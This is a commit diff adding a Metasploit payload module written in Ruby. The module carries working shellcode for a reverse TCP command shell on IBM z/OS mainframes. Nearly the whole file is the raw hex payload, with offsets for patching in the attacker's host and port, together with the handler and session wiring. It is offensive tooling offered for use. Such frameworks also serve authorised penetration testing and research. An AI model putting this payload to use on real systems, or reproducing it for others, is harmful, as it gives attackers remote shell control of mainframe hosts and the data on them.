Added reverse shell payload for Mainframe

This is the first and probably most useful shellcode for mainframe
platform.  Standard reverse shell works just like any other platform
reverse shell.

modules/payloads/singles/mainframe/shell_reverse_tcp.rb

@@ -0,0 +1,69 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+# This payload has no ebcdic<->ascii translator built in.
+# Therefore it must use a shell which does, like mainframe_shell
+#
+#
+##
+
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/mainframe_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+  CachedSize = 339
+
+  include Msf::Payload::Single
+  include Msf::Payload::Mainframe
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Z/OS (MVS) Command Shell, Reverse TCP Inline',
+      'Description'   => 'Listen for a connection and spawn a command shell.
+          This implmentation does not include ebcdic character translation,
+          so a client with translation capabilities is required.  MSF handles
+          this automatically.',
+      'Author'        => 'Bigendian Smalls',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'mainframe',
+      'Arch'          => ARCH_ZARCH,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Session'       => Msf::Sessions::MainframeShell,
+      'Payload'       =>
+        {
+          'Offsets' =>
+            {
+              'LPORT' => [ 321, 'n'    ],
+              'LHOST' => [ 323, 'ADDR' ],
+            },
+          'Payload' =>
+            "\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" +
+            "\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" +
+            "\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" +
+            "\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" +
+            "\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" +
+            "\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" +
+            "\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" +
+            "\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" +
+            "\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" +
+            "\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" +
+            "\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" +
+            "\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" +
+            "\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" +
+            "\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" +
+            "\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" +
+            "\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" +
+            "\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" +
+            "\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" +
+            "\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" +
+            "\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" +
+            "\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" +
+            "\x61\xa2\x88"
+        }))
+  end
+end